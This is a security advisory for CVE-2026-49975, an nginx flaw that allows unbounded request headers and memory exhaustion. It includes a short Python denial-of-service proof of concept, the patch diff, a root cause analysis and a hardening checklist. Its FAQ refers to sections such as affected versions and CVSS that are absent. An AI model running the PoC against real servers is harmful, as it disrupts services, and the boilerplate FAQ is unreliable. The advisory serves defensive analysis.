SECURITY ADVISORY / 01

CVE-2026-49975 Exploit & Vulnerability Analysis

Complete CVE-2026-49975 security advisory with proof of concept (PoC), exploit details, and patch analysis for nginx.

nginx products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

Unauthenticated remote attacker can force nginx to accept an unbounded number of request headers and exhaust memory.

python3 - <<'PY'
import socket

host = "TARGET"
port = 80

s = socket.create_connection((host, port), timeout=10)
headers = "\r\n".join(f"X-Header-{i}: value{i}" for i in range(1200))
req = f"GET / HTTP/1.1\r\nHost: {host}\r\n{headers}\r\n\r\n"

s.sendall(req.encode())
print(s.recv(4096).decode(errors="replace"))
s.close()
PY

This attack sends 1,200 header lines in one request. On a vulnerable nginx build the connection is accepted and the request continues to be processed; on patched builds it is rejected after 1,000 lines with 431 Request Header Fields Too Large.

What the Patch Did

Before:

            /* a header line has been parsed successfully */
            h = ngx_list_push(&r->headers_in.headers);
            if (h == NULL) {
                ngx_http_close_request(r, NGX_HTTP_INTERNAL_SERVER_ERROR);
            }

After:

            /* a header line has been parsed successfully */
            if (r->headers_in.count++ >= cscf->max_headers) {
                r->lingering_close = 1;
                ngx_log_error(NGX_LOG_INFO, c->log, 0,
                              "client sent too many header lines");
                ngx_http_finalize_request(r,
                                          NGX_HTTP_REQUEST_HEADER_TOO_LARGE);
                break;
            }
            h = ngx_list_push(&r->headers_in.headers);
            if (h == NULL) {
                ngx_http_close_request(r, NGX_HTTP_INTERNAL_SERVER_ERROR);
            }

The patch adds a new max_headers configuration parameter in src/http/ngx_http_core_module.c, initializes it with NGX_CONF_UNSET_UINT, and merges it as 1000 by default. It then enforces that limit in both the HTTP/1 request parser and the HTTP/2 header handling path before pushing a parsed header into r->headers_in.headers.

Root Cause

This is an uncontrolled resource consumption bug (CWE-400). Nginx parsed each incoming request header line and appended it into r->headers_in.headers without any cap on the total number of headers. The attacker-controlled data is the number of header lines in the request; it enters through the network parser and reaches the sink when the request parser calls ngx_list_push() for every header. Because there was no limit in ngx_http_request.c or src/http/v2/ngx_http_v2.c, a client could send an arbitrary header count and force nginx to allocate unbounded memory or hit per-request resource exhaustion.

Why It Works

The single load-bearing change is the runtime limit check:

if (r->headers_in.count++ >= cscf->max_headers)

Without that line, every header line would still be accepted and appended, so the vulnerability remains exploitable. The surrounding patch lines set up the new control: max_headers is declared, initialized, and merged with a safe default of 1000, while the ngx_http_finalize_request(...NGX_HTTP_REQUEST_HEADER_TOO_LARGE) branch provides clean rejection once the limit is exceeded. The counter increment and comparison are the actual defence; the rest is configuration plumbing and logging.

Hardening Checklist

  • enforce a maximum header count in the request parser, not just maximum header size; use a dedicated counter like r->headers_in.count.
  • reject requests early with an appropriate HTTP error (NGX_HTTP_REQUEST_HEADER_TOO_LARGE) once the limit is reached.
  • make limits configurable via a directive such as max_headers, and initialize them with NGX_CONF_UNSET_UINT / ngx_conf_merge_uint_value.
  • apply the same header-count enforcement to both HTTP/1 and HTTP/2 code paths.
  • do not rely solely on ngx_list_push() failure for exhaustion protection; add explicit pre-allocation limits.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2026-49975

Frequently asked questions about CVE-2026-49975

What is CVE-2026-49975?

CVE-2026-49975 is a security vulnerability identified in nginx. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2026-49975?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2026-49975. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2026-49975 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting nginx. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2026-49975?

CVE-2026-49975 affects nginx. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2026-49975?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for nginx.

What is the CVSS score for CVE-2026-49975?

The severity rating and CVSS scoring for CVE-2026-49975 affecting nginx is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.